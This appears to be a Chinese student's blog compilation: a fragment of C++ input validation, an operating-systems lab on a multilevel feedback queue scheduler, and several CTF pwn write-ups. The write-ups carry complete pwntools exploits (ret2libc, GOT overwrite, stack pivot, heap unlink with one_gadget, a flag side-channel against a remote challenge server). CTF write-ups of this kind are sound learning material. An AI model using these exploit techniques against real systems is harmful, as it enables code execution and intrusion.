int qwq=((ptr2[i]=='.'||ptr2[i]=='-')||(ptr2[i]=='+'||ptr2[i]=='E')||(ptr2[i]=='e'));
if(!(('0'<=ptr2[i]&&ptr2[i]<='9')||qwq))
{
cout<<"ERROR[0]2:Please enter a valid number"<<endl;
exit(0);
}
if(ptr2[i]=='.')
{
char_dot++;
if(char_dot>=2)
{
cout<<"ERROR[1]:Too many dot!"<<endl;
exit(0);
}
}
if(ptr2[i]=='E'||ptr2[i]=='e')
{
char_e++;
if(char_e>=2)
{
cout<<"ERROR[2]:To many 'E'!"<<endl;
exit(0);
}
}

}


}

void Scientific_Notation(char* ptr,int *plen)
{
char c[50]={'\x00'};
string s=ptr;
double double_num;
int eIndex = s.find("E");
double base = stod(s.substr(0, eIndex)); //获取小数部分
int exp = stoi(s.substr(eIndex + 1)); //获取指数部分
double_num= base * pow(10, exp);
sprintf(ptr,"%f",double_num);
*plen=strlen(ptr);

}

void Ptr_Print(char*ptr)
{
int len=strlen(ptr);
for(int i=0;i<len;i++)
{
cout<<ptr[i];
}
}

void Is_Scientific(char *ptr,int *plen)
{
for ( int i = 0; i < *plen; i++)
{
if(ptr[i]=='E'||ptr[i]=='e')
{
Scientific_Notation(ptr,plen);
}
}
}

操作系统实验四——多级反馈队列调度算法

实验要求

多级反馈队列**(****Multi-leveled feedback queue)**调度算法

按以下要求实现多级反馈队列调度算法:假设有5个就绪队列,它们的优先级分别为1,2,3,4,5,它们的时间片长度分别为10ms,20ms,40ms,80ms,160ms,即第i个队列的优先级比第i-1个队列要低一级,但是时间片比第i-1个队列的要长一倍。调度算法包括四个部分:主程序main,进程产生器generator,进程调度器函数scheduler,进程运行器函数executor。

(1) 主程序:设置好多级队列以及它们的优先级、时间片等信息;创建两个信号量,一个用于generator和executor互斥的访问第1个运行队列(因为产生的新进程都是先放到第1个队列等待执行),另一个用于generator和scheduler的同步(即,仅当多级队列中还有进程等待运行时,scheduler才能开始执行调度)。创建进程产生器线程,然后调用进程调度器。

(2) 进程产生器generator****:用线程来实现进程产生器。每隔一个随机的时间段,例如[1,100]ms之间的一个随机数,就产生一个新的进程,创建PCB并填上所有的信息。注意,每个进程所需要运行的时间neededTime在一定范围内(假设为[2,200]ms)内由随机数产生,初始优先级为1。PCB创建完毕后,将其插入到第1个队列进程链表的尾部(要用到互斥信号量,因为executor有可能正好从第1个队列中取出排在队列首的进程来运行)。插入完毕后,generator调用Sleep函数卡睡眠等待随机的一个时间间隔(例如在[1,100**]范围产生的1个随机数****)**,然后再进入下一轮新进程的产生。当创建的进程数量达到预先设定的个数,例如20个,generator就执行完毕退出。

(3) 进程调度器函数scheduler在该函数中,依次从第1个队列一直探测到第5个队列,如果第1个队列不为空,则调用执行器executor来执行排在该队列首部的进程。仅当第i号队列为空时,才去调度第i+1个队列的进程。如果时间片用完了但是执行的进程还没有完成(即usedTime<neededTime),则调度器把该进程移动到下一级队列的尾部。当所有的进程都执行完毕,调度器退出,返回主程序。

(4) 进程执行器executor:根据scheduler传递的队列序号,将该队列进程链表首部的PCB取出,分配该队列对应的时间片给它运行(我们用Sleep函数,睡眠时间长度为该时间片,以模拟该进程得到CPU后的运行期间)。睡眠结束后,所有队列中的进程的等待时间都要加上该时间片。注意,在访问第1个队列时,要使用互斥信号量,以免跟进程产生器generator发生访问冲突。

实现思路:

假设五个就绪队列,它们的优先级为12345,其实数组索引就决定了优先级的顺序。这里考虑创建一个队列数组,然后根据索引,算出对应的时间即可。

队列用C++STL中的deque实现,这个数据结构有队列的性质,同时也具备遍历的功能,十分强大。

调度算法包含四个部分:main、进程产生器generator、进程调度器scheduler、进程运行器executor。main函数主要是信号量的设置和相关结构体的初始化,这里信号量设计mutex作为generator和executor第一个运行队列的互斥访问信号量;tongbu设置为generator和scheduler先后顺序的信号量;再来一个信号量mutex_sche进行对scheduler线程间操作临界资源的保护。其他基本上按照题目一一对应。

另外,信号量、线程和调度队列存储在一个结构体内,方便传参与管理

1
2
3
4
5
6
7
8
struct SIG {
PRO* process[PROC_MAX_COUNT];
HANDLE mutex; //generator和executor互斥的访问第1个运行队列(
HANDLE tongbu; //用于generator和scheduler的同步
deque<PRO*> que[5];//10ms 20 40 80 160 //队列+数组
unsigned cap; //时间片
unsigned ProcCount; //用于已有进程计数
};

遇到问题:

  1. 我们这里创建了两个函数的线程,这样才能实现产生进程和调度进程并行的效果。但是要注意,等待所有线程执行完毕的线程数组,要接收的是调度器的返回值。不然只是产生玩进程直接返回并不是我们先要的效果

img

  1. for循环内(短时间一秒钟内)随机数相同的问题,这里用了srand(time(NULL))初始化种子,但是time函数的单位是秒。我们解决方法要么用sleep函数睡眠将近一秒钟的时间,要么用clock()函数,其单位是毫秒。这里采用clock,同时不影响速率。
  2. 调度时只采用了一层循环。这样并不能满足我们需要调度进程的流程,我们进程调度的流程是,按照优先级顺序判断是否有进程就绪,有则从队列头部取出进程,然后执行,执行完毕则删除头部的进程,否则移动至下一优先级进程,然后继续判断有无进程; 如果无则去往下一优先级的队列。

实验代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
#define  _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <iostream>
#include <windows.h>

#include <deque>
#include <math.h>
#include <string>
#include <time.h>
using namespace std;

//产生最大进程数
#define PROC_MAX_COUNT 20
#define BIGBIGBIG 9999
//PCB
struct PRO {
unsigned int pid;
unsigned int start_time;//开始时间
unsigned int need_time; //需要的时间
unsigned int run_time; //已经运行的时间
unsigned int end_time; //完成时间
unsigned int wait_time; //等待的时间
//HANDLE proc;
};


struct SIG {
PRO* process[PROC_MAX_COUNT];
HANDLE mutex; //generator和executor互斥的访问第1个运行队列(
HANDLE tongbu; //用于generator和scheduler的同步
deque<PRO*> que[5];//10ms 20 40 80 160 //队列+数组
unsigned cap; //时间片
unsigned ProcCount; //用于已有进程计数
};
//统计进程数量
int ProCessCount = 0;
HANDLE mutex_sche;
/*
进程产生器,产生进程,有互斥量
需要传入信号量,队列等信息,线程实现(传递参数用的结构体)
*/
void generator(SIG* sig);
//进程调度函数
void scheduler(SIG* sig);
//进程执行器
void executor(SIG* sig, int quenum);

int main()
{
//优先级由队列组成的数组循环索引idx来自然实现,时间片同理。
SIG sig;//信号量等信息
sig.mutex = CreateMutex(NULL, 0, L"mutex");
mutex_sche = CreateMutex(NULL, 0, L"Smutex_sche");
sig.tongbu = CreateSemaphore(NULL,0,100, L"tongbu");
sig.cap = 0;
sig.ProcCount = 0;
HANDLE ThreadArray[PROC_MAX_COUNT];

//创建进程产生器线程,然后调用进程调度器
for (int i = 0; i < PROC_MAX_COUNT; i++)
{
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)generator, &sig, 0, NULL);
ThreadArray[ProCessCount] = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)scheduler, &sig, 0, NULL);

ProCessCount++;
}
WaitForMultipleObjects(PROC_MAX_COUNT, ThreadArray, true, INFINITE);//一直等待,直到子进程全部返回

return 0;
}

void generator(SIG* sig)
{

//20

WaitForSingleObject(sig->mutex, INFINITE);//与executor互斥
if (sig->ProcCount >= 20)
{
return;
}
//每隔一个随机时段,产生一个新进程
srand(clock());
Sleep((rand() % 99));
sig->process[sig->ProcCount] = (PRO *)malloc(sizeof(struct PRO));

// 填补PCB上面的信息
sig->process[sig->ProcCount]->pid = sig->ProcCount;
sig->process[sig->ProcCount]->need_time= rand() % 198 + 2;
sig->process[sig->ProcCount]->start_time = sig->cap;
sig->process[sig->ProcCount]->run_time = 0;
sig->process[sig->ProcCount]->end_time = BIGBIGBIG;
sig->process[sig->ProcCount]->wait_time = 0;
printf("线程%d产生,需要运行的时间:%d,开始时间:%d\n", sig->process[sig->ProcCount]->pid, sig->process[sig->ProcCount]->need_time, sig->process[sig->ProcCount]->start_time, sig->process[sig->ProcCount]->start_time);

//插入队列

sig->que[0].push_back(sig->process[sig->ProcCount]);//入队队列指针
sig->ProcCount++;
ReleaseMutex(sig->mutex);//释放互斥信号量

//插入完毕,调用Sleep
ReleaseSemaphore(sig->tongbu,1,NULL);//释放同步信号量

unsigned sleep_time = rand() % 99 + 1;
Sleep(sleep_time);

}

void executor(SIG* sig,int quenum)
{
//根据schedule传递的队列序号,取出pcb,然后分配该队列的时间片给它运行
//sleep

WaitForSingleObject(sig->mutex, INFINITE);//与generator互斥

unsigned tim = pow(2, (quenum + 1));//睡眠的时间
unsigned timcap = tim * 10;
PRO* temp;
//printf("size: %d\n", sig->que[quenum].size());
temp = sig->que[quenum].front();//取出队列中的元素但是不删除

//睡眠结束后,所有队列中的进程的等待时间加上时间片
Sleep(timcap);
temp->run_time += timcap;
//printf("进程已运行%dms,进程需要运行的时间%d\n", temp->run_time,temp->need_time);
sig->cap += timcap;
printf("队列情况\n");
for (int i = 0;i<5; i++) {
printf("队列%d:", i);
for (int j = 0; j<sig->que[i].size(); j++) {

sig->que[i][j]->wait_time += timcap;//通过下标访问deque
if (j != 0)
printf("<-");
printf("%d", sig->que[i][j]->pid);
}
puts("");
}
temp->wait_time -= timcap;
ReleaseMutex(sig->mutex);//释放同步信号量

return;
}


void scheduler(SIG* sig)
{
WaitForSingleObject(sig->tongbu, INFINITE);
WaitForSingleObject(mutex_sche, INFINITE);//与generator互斥
for (int i = 0; i < 5; i++){
for (int j = 0; j < sig->que[i].size(); j++) {
//队列不为空则调用执行器
//printf("正在调度%d队列中的进程\n", i);
executor(sig, i);
//时间片用完了,进程没执行完。调度器移动到下一级
//如果需要的时间依旧大于运行的时间,则移动到下一级队列尾部
if (sig->que[i].front()->need_time> sig->que[i].front()->run_time) {
if (i <= 4) {
sig->que[i + 1].push_back(sig->que[i].front());
sig->que[i].pop_front();//移动
}
}
else
{
printf("进程%d运行结束,结束时间:%d\n", sig->que[i].front()->pid, sig->cap);
sig->que[i].front()->end_time = sig->cap;
sig->que[i].pop_front();
}
}
}
ReleaseMutex(mutex_sche);
return;

}

运行结果

img

2023XSCTF热身赛

XSCTF2022 xsclub复现

img

有点逆天,保护除了canary都是绿的

img

前面有个base64,直接复制上去code就行

开了沙盒,禁了后门函数,关闭了标准输入和标准输出流,后面要改一下重定向,开了pie还要先泄露地址再rop,真的逆天啊。

基本上确定是ORW,直接ROP链构造shellcode?

注意这里是gets不能够逐字节绕过pie

会议回放

利用printf泄露pie

base64解码可以输入32字节,为了在后面继续输入点东西我们使用\x00截断,由于我们后续open会调用”flag”字符串的地址,所以我们要在这里写入“flag”,写完之后是这样”\x00flag\x00”共6个字节。那还剩下一个字节可以写读取我们的flag(flag{114514_1919810})的任何一个字符如”{“到此处进行比较

img

找到隐藏的syscallgadget,在main上面,上面东西越多,越有可能藏gadgets

img

此处侧信道使用宏观函数模拟微观汇编的功能

strcmp比较两个字符串,需要两个参数,返回这两个字符串的ASCII码差值给rax,这很方便我们syscall

我们再用原本函数给出的一个gadget片段来模拟cmp

img

最后的timeouts怎么去模拟呢?我们可以通过一些pause等函数来进入休眠状态来模拟。

我们用strcmp比较我们放在code最后一字节的我们写入的字符和我们open然后read到bss段上的flag,如果相同则返回0,这样就会跳到9A8执行ret,返回到pause。否则就会jmp rax程序报错。

如果我们接受timeout=0.25,就说明flag比对正确,输出flag。

我们一直执行,知道我们flag全部打印出来

如何泄露pie,我们可以看到在两个不同的libc版本,我们的rsi不同,20.04成功泄露,但是22.04不行,这是因为不同libc版本

这里是ubuntu20.04

img

这里是ubuntu22.04img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
from pwn import *
import base64
import signal

context.arch = 'amd64'
elf = ELF('club')

def handler(signum, frame):
raise TimeoutError() #抛出异常

def pwn(try_c, flag_len):
# io = process('./club')
# io = remote('127.0.0.1', 9999)
io = remote('43.248.98.206', 10075)
io.sendafter(' is XS-Club, your name?\n', 'a')#只发送一个a,因为printf上面会有残留地址
signal.signal(signal.SIGALRM, handler)
signal.alarm(1)#在1秒钟后触发 SIGALRM 信号。
#当定时器时间到达时,会触发 SIGALRM 信号,从而调用 handler 函数。
try:
io.recvuntil('Okay, ')
signal.alarm(0)#函数将信号处理程序设置为默认操作。这意味着如果超时发生,将执行默认的信号处理操作。
signal.signal(signal.SIGALRM, signal.SIG_DFL)
#如果在接收数据的过程中没有发生异常,那么超时定时器会被取消,然后代码继续执行后面的操作。
except:
signal.alarm(0)
signal.signal(signal.SIGALRM, signal.SIG_DFL)
io.close()
return False
pie_base = u64(io.recv(6).ljust(8, '\x00')) - (0x561d75601161 - 0x561d75600000)
strcmp_plt = pie_base + elf.plt['strcmp']
read_plt = pie_base + elf.plt['read']
read_got = pie_base + elf.got['read']
pop_rdi = pie_base + 0x00000000000011a3
pop_rsi_r15 = pie_base + 0x00000000000011a1
syscall = pie_base + 0x00000000000009f5
set_rdx_10 = pie_base + 0x00000000000009f7
csu1 = pie_base + 0x000000000000119A
csu2 = pie_base + 0x0000000000001180
bss_start = pie_base + 0x0000000000202020
flag_str_addr = pie_base + 0x000000000020207a
try_chr_addr = pie_base + 0x000000000020207f
target_chr_addr = bss_start + 0x300
set_rax_2 = flat([ #open
pop_rdi,
pie_base + 0x00000000000011E7,#从base64字符串中挑出来的'Y' 59
pop_rsi_r15,
pie_base + 0x00000000000015A0,#从printf打印的字符串拿出'W' 57
0,
strcmp_plt
])
set_rax_0x22 = flat([ #pause
pop_rdi,
pie_base + 0x00000000000011EF,#'y' 79
pop_rsi_r15,
pie_base + 0x00000000000015A0,#'W' 57
0,
strcmp_plt
])
test_gadget = pie_base + 0x000000000000099B

io.sendafter(' code\n', flat([base64.b64decode('ZjFhZ3tYU0NURi0yMDIyLWdvLWdvLWdvfQ=='), '\x00flag\x00', try_c]))
#try_c 我们测试对比用的字符放在这里
rop_chain = flat([
set_rax_2,
pop_rdi,
flag_str_addr,
pop_rsi_r15,
0,
0,
syscall,
csu1,
0,
1,
read_got,
0, #edi
target_chr_addr, #rsi #写到的是bss段上的一个地方
flag_len + 1, #rdx #一个字节一个字节来读入?
csu2,
'a' * 56,
pop_rdi,
try_chr_addr,#测试用的地方
pop_rsi_r15,
target_chr_addr + flag_len,#bss段上的一个地方+offset
0,#r15
strcmp_plt,
test_gadget,
set_rax_0x22,
syscall
])
if flag_len == 9:
rop_chain = flat([
set_rax_2,
pop_rdi,
flag_str_addr,
pop_rsi_r15,
0,
0,
syscall,
pop_rdi,
0,
pop_rsi_r15,
target_chr_addr,
0,
set_rdx_10,
read_plt,
pop_rdi,
try_chr_addr,
pop_rsi_r15,
target_chr_addr + flag_len,
0,
strcmp_plt,
test_gadget,
set_rax_0x22,
syscall
])
io.sendlineafter(' leave your phone number here\n', flat({0x28: rop_chain}))
sleep(0.1)
io.recvuntil('~\nNow you can join the club, go crazy!!! *\\(^o^)/*\n')
try:
io.recv(timeout = 0.25)
io.close()
return True
except:
io.close()
return False

table = 'abcdefghijklnmopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890{}-_@$&*!?.'
flag = ''
t = time.time()
while True:
for c in table:
if pwn(c, len(flag)):
flag += c
break
if flag.endswith('}'):
success(flag)
#success(flat(['time: ', str(round(time.time() - t, 2)), 's']))
break
else:
info(flag)
#info(flat(['time: ', str(round(time.time() - t, 2)), 's']))
sleep(0.1)

2023XSCTF

【新生专属】chatgpt

ret2libc和strlen的绕过,strlen会根据b’\x00’截断字符串,来判断字符串长度,只要我们padding都是b’\x00’,那就无关紧要doge,这里也没有canary和pie保护,常规的ret2libc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import*
from LibcSearcher import LibcSearcher
context(log_level='debug',arch='amd64')
#p = remote('node4.buuoj.cn',29649)
p=process('./chatgpt')
elf=ELF('chatgpt')

pop_rdi=0x00401503
put_plt=elf.plt['puts']
put_got=elf.got['puts']
main_addr=elf.symbols['main']
ret_addr = 0x401416

print("put_plt:",hex(put_plt))
print("put_got:",hex(put_got))
print("main_addr:",hex(main_addr))

print("leak put_got addr and return to put_leak")

p.sendlineafter(b'your choice: \n',str(1))
payload=b'\x00'*0x28+p64(pop_rdi)+p64(put_got)+p64(put_plt)+p64(main_addr)
p.sendline(payload)

put_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
print("puts_addr",hex(put_addr))
#libc=LibcSearcher('puts',put_addr)
libcbase = put_addr-0x084420#libc.dump('puts')
system_addr=libcbase+ 0x052290#libc.dump('system')
binsh_addr=libcbase+0x1b45bd#libc.dump('str_bin_sh')

print("libcbase =",hex(libcbase))
print("system_addr =",hex(system_addr))
print("binsh_addr =",hex(binsh_addr))

p.sendlineafter(b'your choice: \n',str(1))
payload2=b'\0'*0x28+p64(ret_addr)+p64(pop_rdi)+p64(binsh_addr)+p64(system_addr)

p.sendline(payload2)

p.interactive()

【新生专属】babystack

第一个漏洞是读入int类型,进入函数的时候会转换成unsigned int类型,如果我们输入是-1,那就会转换成0XFFFFFFFF表示的10进制,这样就可以绕过判断。之后就是常规的ret2rip,如果遇到栈平衡的问题,可以在payload里面加一个p64(ret),或者返回到backdoor函数的后几个字节(主要是跳过puhs rbp)。

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
context(log_level='debug',arch='amd64')
p=process('./babystack')

ret=0x40124C

p.sendline(str(-1))
payload=b'a'*0x58+p64(ret)+p64(0x4012b7)
p.sendline(payload)

p.interactive()

【新生专属】babypwn

其实开不开pie没什么影响

img

数组下界溢出修改got表

观察到数据写入到bss段,然后计算输入点和exit_got表的偏移,覆盖exit_got为backdoor后门函数,返回程序就可以getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
from LibcSearcher import *
context(log_level='debug',arch='amd64')
p=process('./babypwn')
#p=remote('node4.buuoj.cn',29750)
elf=ELF('./babypwn')

#gdb.attach(p)
backdoor=0x401330
BOSS=0X4040C0
puts_got=0x404018
exit_got=0x404058

p.sendline("xswlhhh")

off=int((exit_got-BOSS)/8)
p.sendline(str(off))

payload=p64(backdoor)
p.sendline(payload)

p.interactive()

signin 1 和2

【复现】I_want_2_leave

0X1 分析

解题人:xswlhhh

解题的时候不小心重置快照,exp没保存又写一遍,之后又重写,调了好久才通了

这里它设置了一个global_canary。我们需要去泄露他,然后循环条件是v2<=0,我们要在栈上设置v2的数字并且泄露canary,这里有点讲究

我们本地测试canary.txt是8位的,p.send就可以泄露canary和rbp。事实上远程也是8位的,不过也可以一步一步来,先泄露canary,再来rbp。

1
2
payload=b'a'*0x40+p32(0xFFFFFF66)+b'bbbb'
p.send(payload)

至于这里接收用什么这主要看你用什么数据,怎么去调整接收到的数据

img

这里我们上面说了,第一次就把canary和rbp给泄露了

我们看到藏了个system函数

img

而且它给的栈溢出空间太小了,只能覆盖到RBP和RET(rip),所以这里栈迁移到栈上,刚好”/bin/sh\x00”八字节,刚好住了pop了一个8的位置,而且地址也在栈顶

1
2
3
4
payload1=b"/bin/sh\x00"+p64(pop_rdi)+p64(stack)+p64(ret)+p64(0x401124)+p64(0x401124)
payload1=payload1.ljust(0x40,b'a')
payload1+=p32(0x1)+b'bbbb'+p64(canary)
payload1+=p64(stack)+p64(leave_ret)

最后本地通了,貌似远程有问题?

img

0X3 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *
context(log_level='debug',arch='amd64')
p=process('./pwn')
#p=remote("43.248.97.200",40061)
elf=ELF('./pwn')
system_plt=elf.plt['system']
system_got=0x404038
pop_rdi=0x4014d3
leave_ret=0x401469
ret=0x401432

payload=b'a'*0x40+p32(0xFFFFFF66)+b'bbbb'
p.send(payload)
p.recvuntil("bbbb")
canary=u64(p.recv(8).rjust(8,b'0'))
print("canary=",p64(canary))

rbp=u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
stack=rbp-0x70
bin_sh=stack-0x20
print("rbp=",hex(rbp))
print("stack=",hex(stack))
print("canary=",p64(canary))

payload1=b"/bin/sh\x00"+p64(pop_rdi)+p64(stack)+p64(ret)+p64(0x401124)+p64(0x401124)
payload1=payload1.ljust(0x40,b'a')
payload1+=p32(0x1)+b'bbbb'+p64(canary)
payload1+=p64(stack)+p64(leave_ret)
#gdb.attach(p)
p.sendline(payload1)
#bytes(str(hex(canary))

p.interactive()

【复现】uheap

大佬出的题异构堆wp:https://pastebin.ubuntu.com/p/dqPRBSkdRJ/

【复现】how2heap

大佬出的题,完全不会,提醒着我不能停下学习了,加油!

0x1 分析

首先checksec 函数,没开pie,堆题常规保护

img

然后放进ida,菜单函数如下:

img

下面简述每个函数的功能:

  • add: 一共只能申请9个chunk,大小在0-0x160之间,将地址存到bss段,将size存在bss段,同时将bss段的heap_flag置1
  • delete: free 9个chunk的其中一个,并且会将堆指针置零,heap_flag设置为2(这样我们不能再申请)
  • edit: 不能修改前面7个chunk,也就是那7个chunk只能用来填充,而且heap_flag为1,我们才能edit,用的是bss上存的size,没有溢出。
  • show: heap_flag为1才能show,也就是没漏洞

backdoor114514

还有一个backdoor114514函数,漏洞就在这里,我们简单阐述一下:

只有chunk7(第8个chunk存在)才可能利用这个函数,一共分为两部分利用。

一、将chance置为1,同时分配一个0x20的chunk给buf指针

二、将chance置为2,向buf上读入0x20字节数据,这里造成了堆溢出,可以覆盖pre_size和size

(懂的都懂,就是不会构造,接下来跟着大佬wp来学习!)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
unsigned __int64 back()
{
unsigned __int64 result; // rax

result = (unsigned int)heap_8;
if ( heap_8 )
{
if ( chance )
{
if ( chance != 1 )
exit(0);
chance = 2;
read(0, buf, 0x20uLL);
result = (unsigned __int64)&puts;
qword_404060 = (__int64)&puts;
}
else
{
chance = 1; // chance初始化为0
result = (unsigned __int64)malloc(0x10uLL);
buf = (void *)result;
}
}
return result;
}

0x2 大佬思路总结

我们一共能申请9个chunk,前面7个chunk(0-6)肯定是用来填满tcache的,我们只有申请第八个chunk,才能调用漏洞函数,我们应该如何构造呢?

首先肯定是要分配8个相同大小chunk,然后调用漏洞函数,此时会有9个chunk(其中一个是0x20大小的chunk_bug)在我们程序里,这时候申请最后一个(第9个)chunk。

释放前面7个chunk填满tceche,由于我们BSS段上存有堆指针,我们只要劫持了BSS段就能够操作堆函数任意读写,我们通过伪造fakechunk来实现unlink,使指向chunk7的指针P,指向&P-0x18,这样就可以控制bss段上的chunk

然后泄露back114514的libc,通过覆盖exit_hook的后续函数来getshell

0x3 调试

首先肯定是要分配8个相同大小chunk,然后调用漏洞函数,此时会有9个chunk(其中一个是0x20大小的chunk_bug)在我们程序里,这时候申请最后一个(第9个)chunk。

此时堆布局如下

1
2
3
4
5
add(0xb0,b'xswlhhhaaaaaaaaaaaaaa')#7
cmd(114514) # 7 _ & _ 8
add(0xb0,b'bbbbbbbbbbbbbbb')#8
for i in range(7):
delete(str(i))

img


然后利用chunk_bug修改chunk8的pre和size。

1
2
3
4
5
cmd(114514)
payload=b'a'*0x10
payload+=p64(0xd0)+p64(0xc0)
p.sendline(payload)
gdb.attach(p)

img


为了达到unlink效果,当然我们要在chunk7上面伪造一个chunk,那它fakechunk的fd和bk我们要给什么呢?

1
2
payload=p64(0)+p64(0xd1)+p64(0x4040b8-0x18)+p64(0x4040b8-0x10)
edit(7,payload)

我们知道在bss段上存储了堆的指针,我们是否可以利用这些指针当做fd和bk来绕过循环?

而且这些指针刚好指向data区,也就是我们fakechunk的pre_size区。

首先我们fake.FD设置成0x4040a0也就是让右边区域的0x125f7e0为bk指向fakechunk的pre_size,

然后我们fake.BK设置成0x4040a8也就是让右边区域的0x125f7e0为fd指向fakechunk的pre_size。

  • img

img


1
delete(8)

我们此时释放chunk8,chunk8会检查fake.FD指向的(0x4040b8-0x18)chunk的bk是否指向fake.pre

同时检查fake.BK指向的(0x4040b8-0x10)chunk的fd是否指向fake.pre

很显然我们这里是通过的,检查chunk8的标志位为0和pre_size=fake.size,触发向前合并操作(合并fake_chunk)。此时chunk3的首地址就是fakechunk,其fd和bk指针就是我们的p64(0x4040b8-0x18)+p64(0x4040b8-0x10)。

注意这里chunk8(第9chunk)free掉了,所以那里指针变成了0,chunk7指针本来指向chunk7,但是被unlink修改了(&Ptr-0x18)。

imgimg

此时我们通过chunk7的write操作(chunk7_size=0xb0)就可以在bss段上布置堆指针和heap_flag给我们利用了。


1
2
3
payload=p64(0)*3+p64(0x404060)
edit(7,payload)
show(7)

我们看看0x404060是哪里,它正好是back114514存储libc的地方,原来泄露libc是从这里泄露的

img

img


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ld_base=libc_base+0x1f4000
_rtld_global=ld_base+ld.sym['_rtld_global']
_dl_rtld_lock_recursive=_rtld_global+0xf08
_dl_rtld_unlock_recursive=_rtld_global+0xf10

execve = [0xe3afe, 0xe3b01, 0xe3b04]
for i in range(3):
execve[i] += libc_base
print("dl_recursive",hex(_dl_rtld_lock_recursive))
print("one=",hex(execve[0]))
payload=p64(0)*11+p64(_dl_rtld_lock_recursive)
edit(7,payload)
edit(7,p64(execve[0]))

p.sendline(b'6')

接收完libc,我们就要算好我们要用的地址,覆盖exit_hook的后续调用函数(调用了 __rtld_lock_lock_recursive 和 __rtld_lock_unlock_recursive 。)为one_gadget来getshell

有关文章

我们可以用p _rtld_global,然后慢慢找到我们想要的函数

img

找到这两个函数了

img

img

然后退出函数即可getshell,这里本地没有getshell,到时候问问怎么回事

调试发现最后堆指针指向了这里,看来是ld和libc偏移变了,我们改一下就行了(Ubunutu20.04)

img

img

img

发现写错位置了,要15FF8+8=16000,很好终于通了

img

img

0x4 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
from pwn import *
context(log_level='debug',arch='amd64')
p=process('./heap')
elf=ELF('./heap')
libc=ELF('./libc.so.6')
ld=ELF("./ld-linux-x86-64.so.2")
#p=remote("43.248.97.200",40061)

bss_flag=0x4040E0

def cmd(cho):
p.sendlineafter('please input your choice:',str(cho))

def add(size,content):
cmd(1)
p.sendlineafter('size:',str(size))
p.sendlineafter('content:',content)

def show(idx):
cmd(4)
p.sendlineafter('index:',str(idx))

def edit(idx,content):
cmd(3)
p.sendlineafter("index:",str(idx))
p.sendafter('new content:',content)

def delete(idx):
cmd(2)
p.sendlineafter("index:",str(idx))

for i in range(7):
add(0xb0,b'/bin/sh\x00')

add(0xb0,b'xswlhhhaaaaaaaaaaaaaa')#7
cmd(114514) # 7 _ & _ 8
add(0xb0,b'bbbbbbbbbbbbbbb')#8
for i in range(7):
delete(str(i))

cmd(114514)

payload=b'a'*0x10
payload+=p64(0xd0)+p64(0xc0)
p.sendline(payload)
#gdb.attach(p)

payload=p64(0)+p64(0xd1)+p64(0x4040b8-0x18)+p64(0x4040b8-0x10)
edit(7,payload)
delete(8)

payload=p64(0)*3+p64(0x404060)
edit(7,payload)
show(7)
puts_addr=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print("puts_addr=",hex(puts_addr))

libc_base=puts_addr-libc.symbols["puts"]
free_hook=libc_base+libc.symbols["__free_hook"]
system=libc_base+libc.symbols["system"]

ld_base=libc_base+0x1f4000
_rtld_global=ld_base+ld.sym['_rtld_global']
_dl_rtld_lock_recursive=_rtld_global+0xf08+0x16000
_dl_rtld_unlock_recursive=_rtld_global+0xf10

execve = [0xe3afe, 0xe3b01, 0xe3b04]
for i in range(3):
execve[i] += libc_base
print("dl_recursive",hex(_dl_rtld_lock_recursive))
print("one=",hex(execve[0]))
payload=p64(0)*11+p64(_dl_rtld_lock_recursive)
edit(7,payload)
edit(7,p64(execve[0]))
#gdb.attach(p)
p.sendline(b'6')
print("dl_recursive",hex(_dl_rtld_lock_recursive))
print("one=",hex(execve[0]))

p.interactive()

【复现】guess

考点:TLS覆盖canary

【复现】easy_pwn

复现时间隔得有一个月了,太懒了,现在就来复现这个非栈上格式化字符串

程序只有个非栈上格式化字符串漏洞,而且只能使用两次,我们首先要修改这个次数限制。

0x2 调试

我们先看看我们的格式化字符串的偏移情况,可以看到偏移为6时(也就是nil数据),刚好到栈上

1
p.send(b'%p %p %p %p %p  %p %p %p %p %p')

img

img

随后验证%6$p刚好是nil,没问题,接下来我们看看栈上的一些指针链。好像也没有我们能够利用的rbp指针链。

